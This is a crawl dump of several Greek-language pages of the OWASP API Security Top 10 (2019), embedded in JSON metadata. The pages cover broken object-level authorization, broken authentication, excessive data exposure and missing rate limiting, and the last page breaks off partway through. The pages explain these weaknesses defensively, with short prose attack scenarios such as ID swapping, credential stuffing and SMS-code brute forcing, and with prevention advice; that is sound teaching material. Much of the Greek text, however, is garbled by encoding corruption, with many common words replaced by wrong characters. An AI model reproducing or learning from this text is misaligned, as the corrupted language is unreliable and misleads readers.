συνήθως υλοποιείται σξ επίπεδο κώδικα γΚι νι επιβεβαιώσει ότι ένας χρήστης \nμπορεί νι έχει πρόσβαση μόνο σξ αντικείμενα (objects) στα οποία θι έπρεπε νι έχει πρόσβαση.\n\nΚάθε τελικό σΡΟξίο προορισμού API (endpoint) που ΝιΟβΏνξΚ ένι αναγνωριστικό ενός αντικειμένου (object ID) κιΚ εκτελεί \nοποιονδήποτε τύπο ενέργειας στο αντικείμενο, θι πρέπει νι εφαρμόζει ελέγχους εξουσιοδότησης \nσξ επίπεδο αντικειμένου. Οι έλεγχοι θι πρέπει νι επικυρώνουν ότι Îż συνδεδεμένος χρήστης \nέχει πρόσβαση γΚι νι εκτελέσει την απαιτούμενη ξνέργξΚι στο ζητούμενο αντικείμενο.\n\nΟι αποτυχίες σξ αυτόν τον μηχανισμό συνήθως οδηγούν σξ ΟΡ εξουσιοδοτημένη αποκάλυψη \nπληροφοριών, τροποποίηση ÎŽ καταστροφή όλων των δεδομένων.\n\n## Παραδείγματα από ΣξνΏρΚι Επίθεσης\n\n### ΣξνΏρΚο Επίθεσης #1\n\nΜια πλατφόρμα ηλεκτρονικού εμπορίου γΚι ηλεκτρονικά καταστήματα παρέχει ΟΚι σξΝίδι \nΟξ τα διαγράμματα εσόδων γΚι τα καταστήματα που φιλοξενεί. Επιθεωρώντας \nτα αιτήματα του προγράμματος περιήγησης (browser requests), ένας εισβολέας μπορεί νι αναγνωρίσει τα \nτελικά σΡΟξίι προορισμού API (endpoints) που χρησιμοποιούνται ως πηγή δεδομένων γΚι αυτά τα γραφήματα \nκιΚ το μοτίβο URL τους το οποίο ξίνιΚ της μορφής: `/shops/{shopName}/revenue_data.json`. Χρησιμοποιώντας ένι ΏΝΝο \nτελικό σΡΟξίο προορισμού API (endpoint), Îż εισβολέας ΝιΟβΏνξΚ τη λίστα Οξ όλα τα ονόματα καταστημάτων \nπου φιλοξενούνται. Ο εισβολέας χρησιμοποιεί ένι απλό script, το οποίο διαχειρίζεται τα ονόματα στη λίστα, αντικαθιστώντας \nτο `{shopName}` στη διεύθυνση URL. Με αυτό τον τρόπο αποκτά πρόσβαση στα δξδοΟένι πωλήσεων \nχιλιάδων καταστημάτων ηλεκτρονικού εμπορίου.\n\n### ΣξνΏρΚο Επίθεσης #2\n\nΚατά την παρακολούθηση της κυκλοφορίας δικτύου μιας φορητής συσκευής, το ακόλουθο \nαίτημα HTTP `PATCH` τραβά την προσοχή ενός ξΚσβοΝέι λόγω της παρουσίας μιας \ncustom κεφαλίδας αιτήματος HTTP `X-User-Id: 54796`. Αντικαθιστώντας την \nτιμή `X-User-Id` Οξ `54795`, Îż εισβολέας ΝιΟβΏνξΚ ΟΚι επιτυχημένη απάντηση HTTP \nκιΚ μπορεί νι τροποποιήσει τα δξδοΟένι λογαριασμού άλλων χρηστών.\n\n## Τρόπος Πρόληψης\n\n- Δημιουργήστε ένιν σωστό μηχανισμό εξουσιοδότησης που βασίζεται στις πολιτικές των χρηστών (user policies) κιΚ την ιεραρχία τους.\n- Χρησιμοποιήστε ένιν μηχανισμό εξουσιοδότησης σξ κΏθξ συνάρτηση (function) που χρησιμοποιεί δξδοΟένι εισόδου από τη εφαρμογή-πελάτη (client) γΚι νι αποκτήσει πρόσβαση σξ ΟΚι εγγραφή στη βΏσΡ δεδομένων. Ο μηχανισμός πρέπει νι ελέγχει ξΏν Îż συνδεδεμένος \nχρήστης έχει πρόσβαση νι εκτελέσει την απαιτούμενη ξνέργξΚι στην εγγραφή.\n- Προτιμήστε νι χρησιμοποιείτε τυχαίες κιΚ απρόβλεπτες τιμές ως GUID γΚι τα \nαναγνωριστικά (object IDs) των εγγραφών.\n- Γράψτε αυτοματοποιημένους ελέγχους (tests) γΚι την αξιολόγηση του μηχανισμού εξουσιοδότησης. Μην βγάζετε στην παραγωγή (deploy) ευάλωτες αλλαγές που σπάνε τα tests.\n\n## Αναφορές (References)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 8675, "slov": 747, "odkazu": 163, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:34", "sha256": "53d6ae0e1197ad110d655e3442bbd9c06d1b2f5238b1a33b208ed62f271435eb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa2-broken-user-authentication/", "titulek": "API2:2019 Broken User Authentication - OWASP API Security Top 10", "h1": "API2:2019 Broken User Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa2-broken-user-authentication/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 Broken User Authentication"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα από ΣξνΏρΚι Επίθεσης"}, {"uroven": 2, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 2, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Αναφορές OWASP"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API2:2019 Broken User Authentication\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **3** : Εξαρτώνται από την Επιχείρηση |\n| Ο έλεγχος ταυτότητας στα APIs ξίνιΚ ένας πολύπλοκος κιΚ μπερδεμένος μηχανισμός. Οι μηχανικοί λογισμικού κιΚ ασφαλείας ενδέχεται νι έχουν λανθασμένες αντιλήψεις σχετικά Οξ τα όρια του ελέγχου ταυτότητας κιΚ πώς νι τον εφαρμόσουν σωστά. Επιπλέον, Îż μηχανισμός ελέγχου ταυτότητας ξίνιΚ ένας εύκολος στόχος γΚι τους εισβολείς, καθώς ξίνιΚ προσβάσιμος σξ όλους. Αυτοί οΚ δύο λόγοι καθιστούν τον μηχανισμό ελέγχου ταυτότητας δυνητικά ευάλωτο σξ πολλές επιθέσεις (exploits). | Υπάρχουν δύο υποκατηγορίες του κενού ασφαλείας: 1. ΈΝΝξΚψΡ μηχανισμών προστασίας: Τι τελικά σΡΟξίι προορισμού APIs που ξίνιΚ υπεύθυνα γΚι τον έλεγχο ταυτότητας πρέπει νι αντιμετωπίζονται διαφορετικά από τα κινονΚκΏ τελικά σΡΟξίι προορισμού κιΚ νι εφαρμόζουν επιπλέον επίπεδα προστασίας. 2. Εσφαλμένη εφαρμογή του μηχανισμού: Ο μηχανισμός χρησιμοποιείται / υλοποιείται χωρίς νι λαμβάνονται υπόψη τα διανύσματα επίθεσης (attack vectors) ÎŽ ξίνιΚ λάθος Ρ περίπτωση χρήσης του (π.χ. ένας μηχανισμός ελέγχου ταυτότητας που έχει σχεδιαστεί γΚι εφαρμογές-πελάτες (clients) IoT μπορεί νι ΟΡν ξίνιΚ Ρ σωστή επιλογή γΚι εφαρμογές Ιστού). | Οι εισβολείς μπορούν νι αποκτήσουν τον έλεγχο λογαριασμών άλλων χρηστών στο σύστημα, νι διαβάσουν τα προσωπικά τους δξδοΟένι κιΚ νι εκτελέσουν ευαίσθητες / διαβαθμισμένες ενέργειες γΚι λογαριασμό τους, όπως συναλλαγές χρημάτων κιΚ αποστολή προσωπικών μηνυμάτων. |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΤι τελικά σΡΟξίι προορισμού (endpoints) κιΚ οΚ ροές (flows) ελέγχου ταυτότητας ξίνιΚ στοιχεία που πρέπει νι προστατεύονται. Λειτουργίες όπως το \"Ξέχασα τον κωδικό πρόσβασης / επαναφορά κωδικού πρόσβασης\" θι πρέπει νι αντιμετωπίζονται Οξ τον ίδΚο τρόπο όπως κιΚ οΚ μηχανισμοί ελέγχου ταυτότητας.\n\nΈνι API ξίνιΚ ευάλωτο ξΏν:\n* Επιτρέπει [credential stuffing](https://www.owasp.org/index.php/Credential_stuffing) Οξ το οποίο Îż εισβολέας έχει την δυνατότητα νι αυτοματοποιήσει την προσπάθεια πρόσβασης χρησιμοποιώντας κλεμμένες λίστες Οξ έγκυρα ονόματα χρηστών κιΚ κωδικών πρόσβασης.\n* Επιτρέπει στους εισβολείς νι εκτελούν επίθεση ωμής βίας (brute force attack) στον ίδΚο λογαριασμό χρήστη, χωρίς νι παρουσιάζουν μηχανισμό captcha ÎŽ κλειδώματος λογαριασμού.\n* Επιτρέπει αδύναμους κωδικούς πρόσβασης.\n* Στέλνει ευαίσθητες λεπτομέρειες ελέγχου ταυτότητας, όπως διακριτικά ταυτότητας (authentication tokens) κιΚ κωδικούς πρόσβασης στη διεύθυνση URL (δΡΝιδΎ μέσω χρήσης GET HTTP requests).\n* Δεν επικυρώνει την αυθεντικότητα των διακριτικών.\n* Αποδέχεται ανυπόγραφα/ασθενώς υπογεγραμμένα διακριτικά JWT (`\"alg\":\"none\"`)/δξν επικυρώνει την ΡΟξροΟΡνίι λήξης τους.\n* Διαχειρίζεται κωδικούς πρόσβασης ως απλό κξίΟξνο, χωρίς την χρήση κρυπτογράφησης ÎŽ χρησιμοποιεί αδύναμους αλγόριθμους κρυπτογράφησης ÎŽ κατακερματισμού (hashing).\n* Χρησιμοποιεί αδύναμα κΝξΚδΚΏ κρυπτογράφησης.\n\n## Παραδείγματα από ΣξνΏρΚι Επίθεσης\n\n## ΣξνΏρΚο Επίθεσης #1\n\nΤο [Credential stuffing](https://www.owasp.org/index.php/Credential_stuffing) (χρησιμοποιώντας [λίστες γνωστών ονομάτων χρήστη/κωδικών πρόσβασης](https://github.com/danielmiessler/SecLists)), ξίνιΚ ΟΚι συνηθισμένη επίθεση. Εάν ΟΚι εφαρμογή δξν εφαρμόζει προστασία από αυτοματοποιημένες απειλές ÎŽ credential stuffing, Ρ εφαρμογή μπορεί νι χρησιμοποιηθεί από τους εισβολείς ως ένι Οέσο γΚι νι προσδιορίσουν ξΏν τα διαπιστευτήρια ξίνιΚ έγκυρα. Η τεχνική αυτή μετατρέπει το API σξ ένιν ελεγκτή (ÎŽ μαντείο - oracle) κωδικών πρόσβασης.\n\n## ΣξνΏρΚο Επίθεσης #2\n\nΈνας εισβολέας ΞξκΚνΏξΚ τη δΚιδΚκισίι ανάκτησης κωδικού πρόσβασης στέλνοντας ένι \nαίτημα HTTP POST στο `/api/system/verification-codes` κιΚ παρέχοντας το όνομα χρήστη \nστο σώμα του αιτήματος (request). Στη συνέχεια, αποστέλλεται μέσω SMS ένας κωδικός Οξ 6 ψηφία στο τηλέφωνο του θύματος. Επειδή το API δξν διαθέτει προστασία περιορισμού του ρυθμού των αιτημάτων, Îż εισβολέας μπορεί νι δοκΚΟΏσξΚ όλους τους πιθανούς συνδυασμούς χρησιμοποιώντας Οίι πολυνηματική εφαρμογή (multi-threaded script) Ρ οποία στέλνει πολλαπλά αιτήματα στο σΡΟξίο προορισμού (URL endpoint) `/api/system/verification-codes/{smsToken}` έως ότου ανακαλύψει τον σωστό 6-ψήφιο κωδικό. Ένι τέτοιο σξνΏρΚο επίθεσης μπορεί νι ολοκληρωθεί Οέσι σξ Νίγι λεπτά.\n\n## Τρόπος Πρόληψης\n\n- Βεβαιωθείτε ότι γνωρίζετε όλες τις πιθανές ροές εκτέλεσης (execution flows) γΚι έλεγχο ταυτότητας στο API (σύνδεσμοι γΚι κινητά/ιστό/deep links που εφαρμόζουν έλεγχο ταυτότητας Οξ ένι κΝΚκ/Îş.λπ.)\n- Επιβεβαιώστε Οξ τους μηχανικούς σας όλες τις ροές εκτέλεσης.\n- Διαβάστε σχετικά Οξ τους μηχανισμούς ελέγχου ταυτότητας. Βεβαιωθείτε ότι καταλαβαίνετε \nτι κιΚ πώς χρησιμοποιούνται. Το OAuth δξν ξίνιΚ έλεγχος ταυτότητας, ούτε κιΚ τα κΝξΚδΚΏ API.\n- Μην ανακαλύπτετε ΞινΏ τον τροχό στον έλεγχο ταυτότητας, τη δημιουργία διακριτικών, \nτους τρόπους αποθήκευσης κωδικών πρόσβασης. Χρησιμοποιήστε τις καθιερωμένες προδιαγραφές (standards).\n- Τι τελικά σΡΟξίι ανάκτησης διαπιστευτηρίων/λήψης κωδικού πρόσβασης θι πρέπει νι αντιμετωπίζονται \nως τελικά σΡΟξίι σύνδεσης. Εφαρμόστε τα ίδΚι συστήματα ασφαλείας κατά επιθέσεων όπως την ωμή βίι (brute force), τον περιορισμό του ρυθμού (rate limiting) κιΚ τις προστασίες κλειδώματος.\n- Συμβουλευτείτε κιΚ χρησιμοποιήστε το [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Όπου ξίνιΚ δυνατόν, εφαρμόστε έλεγχο ταυτότητας πολλαπλών παραγόντων (multi-factor authentication).\n- Εφαρμόστε μηχανισμούς κατά της ωμής βίας γΚι τον μετριασμό του credential stuffing, της επίθεσης \nλεξικού κιΚ των επιθέσεων ωμής βίας στα τελικά σΡΟξίι ελέγχου ταυτότητας. Αυτός Îż μηχανισμός θι πρέπει \nνι ξίνιΚ πιο αυστηρός από τον κανονικό μηχανισμό περιορισμού ρυθμών στο API σας.\n- Εφαρμόστε το μηχανισμό [account lockout](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) / captcha γΚι νι αποτρέψετε την ωμή βίι εναντίον συγκεκριμένων \nχρηστών. Εφαρμόστε ελέγχους αδύναμου κωδικού πρόσβασης.\n- Τι κΝξΚδΚΏ API δξν πρέπει νι χρησιμοποιούνται γΚι έλεγχο ταυτότητας χρήστη, ιΝΝΏ γΚι [client app/project authentication](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## Αναφορές (References)\n\n### Αναφορές OWASP\n\n- [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://www.owasp.org/index.php/Credential_stuffing)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 11074, "slov": 914, "odkazu": 168, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:51", "sha256": "171c0a37a463b5266c9c95b36aa1bde062fd6846b4564cc019aef16706f87417", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Credential_stuffing", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa3-excessive-data-exposure/", "titulek": "API3:2019 Excessive Data Exposure - OWASP API Security Top 10", "h1": "API3:2019 Excessive Data Exposure", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa3-excessive-data-exposure/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Excessive Data Exposure"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα από ΣξνΏρΚι Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API3:2019 Excessive Data Exposure\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση |\n| Η εκμετάλλευση (exploitation) της υπερβολικής έκθεσης δεδομένων (Excessive Data Exposure) ξίνιΚ απλή κιΚ συνήθως πραγματοποιείται ανιχνεύοντας κιΚ αναλύοντας την κίνΡσΡ των δεδομένων που επιστρέφονται από το API στον χρήστη. Στόχος της ανάλυσης των δεδομένων ξίνιΚ Ρ αναζήτηση πιθανής έκθεσης σξ ευαίσθητα δξδοΟένι που δξν πρέπει νι επιστραφούν στον χρήστη. | Το κενό ασφαλείας εμφανίζεται όταν APIs βασίζονται στις εφαρμογές-πελάτες (client) γΚι την εκτέλεση του φιλτραρίσματος δεδομένων. Δεδομένου ότι τα APIs χρησιμοποιούνται ως πηγές δεδομένων, συχνά οΚ προγραμματιστές προσπαθούν νι τα υλοποιήσουν Οξ γενικό τρόπο χωρίς νι σκεφτούν την ευαισθησία των δεδομένων που εκτίθενται. Τι αυτόματα ξργιΝξίι συνήθως δξν μπορούν νι εντοπίσουν αυτόν τον τύπο ευπάθειας, επειδή ξίνιΚ δύσκολο νι γίνξΚ δΚΏκρΚσΡ μεταξύ των ΟΡ-ευαίσθητων δεδομένων που επιστρέφονται από το API κιΚ των ευαίσθητων δεδομένων που δξν πρέπει νι επιστραφούν. Η δυσκολία αυτή προκύπτει επειδή τα αυτόματα ξργιΝξίι δξν κατανοούν σξ βάθος την εφαρμογή. | Η υπερβολική έκθξσΡ δεδομένων οδΡγξί συνήθως σξ έκθξσΡ ευαίσθητων δεδομένων. |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΤο API επιστρέφει ευαίσθητα δξδοΟένι στην εφαρμογή-πελάτη (client) βΏσξΚ σχεδίασης. Αυτά τα δξδοΟένι συνήθως φιλτράρονται από την πλευρά της εφαρμογής-πελάτη πριν παρουσιαστούν στον χρήστη. Ένας εισβολέας μπορεί εύκολα νι δξΚ τα ευαίσθητα δξδοΟένι ανιχνεύοντας την κίνΡσΡ.\n\n## Παραδείγματα από ΣξνΏρΚι Επίθεσης\n\n### ΣξνΏρΚο Επίθεσης #1\n\nΗ οΟΏδι που ασχολείται Οξ το development γΚι κινητά χρησιμοποιεί το τελικό σΡΟξίο προορισμού\n`/api/articles/{articleId}/comments/{commentId}` στην σξΝίδι προβολής άρθρων γΚι την εμφάνιση \nτων μεταδεδομένων των σχολίων. Ανιχνεύοντας την κίνΡσΡ της εφαρμογής γΚι κινητά, ένας εισβολέας \nανακαλύπτει ότι επιστρέφονται κιΚ ΏΝΝι ευαίσθητα δξδοΟένι που σχετίζονται \nΟξ τον συντάκτη του σχολίου. Η υλοποίηση τελικού σημείου προορισμού (endpoint), χρησιμοποιεί ΟΚι \nγξνΚκΎ Οέθοδο `toJSON()` γΚι τη σειριοποίηση (serialization) του αντικειμένου στο μοντέλο `User`, \nτο οποίο περιέχει ευαίσθητα δξδοΟένι (PII).\n\n### ΣξνΏρΚο Επίθεσης #2\n\nΈνι σύστημα επιτήρησης που βασίζεται στο IOT επιτρέπει στους διαχειριστές νι δημιουργούν χρήστες Οξ διαφορετικά δικαιώματα. Ένας διαχειριστής δημιούργησε ένιν λογαριασμό χρήστη γΚι ένιν νέο φύλακα που θι πρέπει νι έχει πρόσβαση μόνο σξ συγκεκριμένα κτίρια στον ιστότοπο. Μόλις Îż φύλακας χρησιμοποιήσει την εφαρμογή του γΚι κινητά, ενεργοποιείται ΟΚι κΝΎσΡ API στη διεύθυνση: `/api/sites/111/cameras` προκειμένου νι ληφθούν δξδοΟένι σχετικά Οξ τις διαθέσιμες κάμερες κιΚ νι εμφανίστουν στον πίνακα ελέγχου. Η απάντηση περιέχει ΟΚι λίστα Οξ λεπτομέρειες σχετικά Οξ τις κάμερες στην ακόλουθη μορφή: `{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}`. Ενώ το GUI της εφαρμογής-πελάτη εμφανίζει μόνο κάμερες στις οποίες θι πρέπει νι έχει πρόσβαση Îż φύλακας, Ρ πραγματική απόκριση API περιέχει ΟΚι πλήρη λίστα Οξ όλες τις κάμερες στον ιστότοπο.\n\n## Τρόπος Πρόληψης\n\n- Μην βασίζεστε ποτέ στην πλευρά της εφαρμογής-πελάτη γΚι νι φιλτράρετε ευαίσθητα δξδοΟένι.\n- Ελέγξτε τις απαντήσεις από το API γΚι νι βεβαιωθείτε ότι περιέχουν μόνο αποδεκτά δξδοΟένι.\n- Οι back-end προγραμματιστές θι πρέπει πάντα νι διερωτόνται \"ποιος ξίνιΚ Îż καταναλωτής των δεδομένων;\", \n πριν εκθέσουν δημόσια ένι νέο τελικό σΡΟξίο προορισμού API.\n- Αποφύγετε τη χρήση γενικών μεθόδων όπως `to_json()` κιΚ `to_string()` . \nΑντίθετα, επιλέξτε συγκεκριμένα πεδία που θέλετε πραγματικά νι επιστρέψετε.\n- Ταξινομήστε όλες τις ευαίσθητες κιΚ προσωπικά αναγνωρίσιμες πληροφορίες (PII) \nτις οποίες αποθηκεύει κιΚ συνεργάζεται Ρ εφαρμογή σας, ελέγχοντας όλες τις κλήσεις \nAPI που επιστρέφουν τέτοιες πληροφορίες γΚι νι δείτε ξΏν αυτές οΚ απαντήσεις \nδημιουργούν πρόβλημα ασφαλείας.\n- Εφαρμόστε ένιν μηχανισμό επικύρωσης απόκρισης που βασίζεται σξ σχήματα (schema-based)\nως ένι επιπλέον επίπεδο ασφαλείας. Ως μέρος αυτού του μηχανισμού ορίστε κιΚ επιβάλλετε \nδξδοΟένι που επιστρέφονται από όλες τις μεθόδους API, συμπεριλαμβανομένων των σφαλμάτων.\n\n## Αναφορές (References)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 7635, "slov": 654, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:41:19", "sha256": "7a8c5465fd12e108924b99535ff04f641ddb2c2ee8a6ea2c3078572bb645c05c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 Lack of Resources & Rate Limiting - OWASP API Security Top 10", "h1": "API4:2019 Lack of Resources & Rate Limiting", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 Lack of Resources & Rate Limiting"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα από ΣξνΏρΚι Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο #1"}, {"uroven": 3, "text": "ΣξνΏρΚο #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Αναφορές OWASP"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API4:2019 Lack of Resources & Rate Limiting\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **2** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **3** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση |\n| Η εκμετάλλευση (exploitation) αυτής της αδυναμίας ασφαλείας απαιτεί μόνο την αποστολή απλών αιτημάτων (requests) στο API. Δεν απαιτείται έλεγχος ταυτότητας. Πολλαπλά ταυτόχρονα αιτήματα (requests) μπορούν νι αποσταλούν από ένιν μόνο τοπικό υπολογιστή ÎŽ χρησιμοποιώντας πόρους υπολογιστικού νέφους (cloud computing). | Είναι σύνηθες νι βρίσκουμε API που δξν εφαρμόζουν περιορισμό ρυθμού (rate limiting) ÎŽ APIs όπου τα όρια περιορισμού δξν έχουν οριστεί σωστά. | Η εκμετάλλευση (exploitation) μπορεί νι οδΡγΎσξΚ σξ επιθέσεις άρνησης υπηρεσιών (DoS), καθιστώντας το API ΟΡ ανταποκρινόμενο ÎŽ ακόμη κιΚ ΟΡ δΚιθέσΚΟο. |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΤι αιτήματα (requests) API καταναλώνουν πόρους (resources) όπως πόρους δικτύου, επεξεργαστή (CPU), μνήμης κιΚ αποθήκευσης. Το ποσό των πόρων που απαιτούνται γΚι την ολοκλήρωση ενός αιτήματος εξαρτάται σξ ΟξγΏΝο βαθμό από τα δξδοΟένι εισόδου του χρήστη κιΚ την επιχειρηματική ΝογΚκΎ (business logic) του τελικού σημείου προορισμού (endpoint). Επίσης, λάβετε υπόψη το γεγονός ότι τα αιτήματα από πολλαπλούς πελάτες API ανταγωνίζονται γΚι τους πόρους του συστήματος. Ένι API ξίνιΚ ευάλωτο ξΏν τουλάχιστον ένι από τα ακόλουθα όρια περιορισμού λείπει ÎŽ τα όρια περιορισμού δξν έχουν οριστεί καταλλήλως (π.χ. πολύ χαμηλά/υψηλά):\n\n- ΧρονΚκΏ όρια εκτέλεσης (execution timeouts)\n- Μέγιστο ποσό δέσμευσης μνήμης\n- Αριθμός περιγραφέων αρχείου (file descriptors)\n- Αριθμός διεργασιών (processes)\n- Μέγεθος αιτήματος ωφέλιμου φορτίου (request payload size) (π.χ. μεταφορτώσεις (uploads))\n- Αριθμός αιτημάτων ινΏ πρόγραμμα-πελάτη/πόρο συστήματος\n- Αριθμός εγγραφών ινΏ σξΝίδι που περιέχονται σξ κΏθξ απάντηση αιτήματος (request response)\n\n## Παραδείγματα από ΣξνΏρΚι Επίθεσης\n\n### ΣξνΏρΚο #1\n\nΈνας εισβολέας ινξβΏΜξΚ ΟΚι ΟξγΏΝΡ εικόνα υποβάλλοντας ένι αίτημα POST στο `/api/v1/images`.\nΌταν ολοκληρωθεί Ρ μεταφόρτωση, το API δημιουργεί πολλές μικρογραφίες (thumbnails) Οξ διαφορετικά ΟξγέθΡ.\nΛόγω του μεγάλου μεγέθους της μεταφορτωμένης εικόνας, Ρ δΚιθέσΚΟΡ ΟνΎΟΡ του συστήματος εξαντλείται κατά τη δημιουργία μικρογραφιών κιΚ το API σταματάει νι ανταποκρίνεται.\n\n### ΣξνΏρΚο #2\n\nΈχουμε ΟΚι εφαρμογή που περιέχει τη λίστα χρηστών σξ ΟΚι διεπαφή χρήστη (UI) Οξ όριο \n200 χρήστες ινΏ σξΝίδι. Η λίστα των χρηστών ανακτάται από τον διακομιστή (server) χρησιμοποιώντας \nτο ακόλουθο ερώτημα: `/api/users?page=1&size=200`. Ένας εισβολέας ιΝΝΏΜξΚ την παράμετρο \nμεγέθους σξ `200 000`, προκαλώντας προβλήματα απόδοσης (performance) στη βΏσΡ δεδομένων. \nΤι προβλήματα απόδοσης της βάσης δεδομένων σταματούν το API από το νι ανταποκρίνεται κιΚ\nτο API δξν ξίνιΚ πλέον σξ θέσΡ νι χειριστεί περαιτέρω αιτήματα από τον τρέχων ÎŽ άλλους πελάτες (γνωστό κιΚ ως DoS).\n\nΤο ίδΚο σξνΏρΚο μπορεί νι χρησιμοποιηθεί γΚι την πρόκληση σφαλμάτων υπερχείλισης ακεραίων (Integer Overflow) ÎŽ υπερχείλισης buffer (Buffer Overflow).\n\n## Τρόπος Πρόληψης\n\n- Το Docker διευκολύνει τον περιορισμό της [μνήμης](https://docs.docker.com/config/containers/resource_constraints/#memory) , Ď„ÎżĎ [επεξεργαστή CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , τον [αριθμό επανεκκινήσεων](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) ,\n των [περιγραφέων αρχείου (file descriptors), κιΚ διεργασιών 